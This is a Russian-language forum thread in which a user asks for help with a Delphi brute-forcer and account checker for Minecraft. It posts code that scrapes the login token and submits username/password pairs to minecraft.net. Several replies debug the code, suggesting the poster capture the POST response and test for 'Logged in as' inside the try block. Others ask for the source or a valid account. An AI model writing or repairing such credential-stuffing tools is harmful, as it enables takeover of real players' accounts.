Брут встаёт.

PHP:

get:= HTTP.Get('https://minecraft.net/login');
      auth_t:= Copy(get, Pos('type="hidden" value="', get) + 21, 20);
      data:= TStringList.Create;
      data.Add('authenticityToken='+ auth_t);
      data.Add('redirect=http://minecraft.net/');
      data.Add('username='+ FAcc);
      data.Add('password='+ FPas);
      data.Add('submit=Sign in');
      HTTP:= TIdHTTP.Create;
      HTTP.HandleRedirects:= true;
      try
     HTTP.Post('https://minecraft.net/login', data);
     Rez:=-1;
     except
     if (Pos('Logged in as', HTML)<>0) then
     begin
     Rez:=1;
     end
     else
     Rez:=0;
     end;

Помогите пожалуйста

 

Delphi код ?

 

Да

 

Думаю что у тебя переменная HTML пустая...

и исправь
if (Pos('Logged in as', HTML)<>0) then
begin
Rez:=1;
end
else
на
if (Pos('Logged in as', HTML)<>0) then
Rez:=1
else

 

Код кривой =/

 

можете помочь как правильно сделать ?

 

Вот это да :D


И еще желательно пиши комменты к коду
если его показываешь кому то
get:= HTTP.Get('https://minecraft.net/login'); // Грузим страницу в get
auth_t:= Copy(get, Pos('type="hidden" value="', get) + 21, 20); // Достаем из страницы...
data:= TStringList.Create;
data.Add('authenticityToken='+ auth_t); // добавляем ...
data.Add('redirect=http://minecraft.net/');
data.Add('username='+ FAcc);

 

Исходник давай под хайд.
Исправим

 

Валидный аккаунт дай, я сделаю.

 

в скайп добавь

 

в скайп

 

Сколько тут всего понаехало, ты сначала покажи что за ошибку выдает то, а то как то с завязанными глазами мега брут и чекер майнкрафта пишем.

 

Ты пишешь, что дело в том что переменная HTML пустая, ты прав! Но ты один и тот же код написал, при этом просто убрав begin и end.

Вместо:
HTTP.Post('https://minecraft.net/login', data);

Ставь:
HTML := HTTP.Post('https://minecraft.net/login', data);

Это не ошибка, но все же возможно решение проблемы в этом.

И вообще зачем скобки вокруг условия, то есть "(Pos('Logged as', HTML)<>0)"? Можно же и без него обходится, более легче, а то в этом случаи все запутанно.

ДОБАВКА:
Условие проверки валидности аккаунта делай не в except, а вместе с запросом, то есть в try.

А лучше всего, самый оптимальный вариант и оптимальное решение этой проблемы: добавить меня в Skype.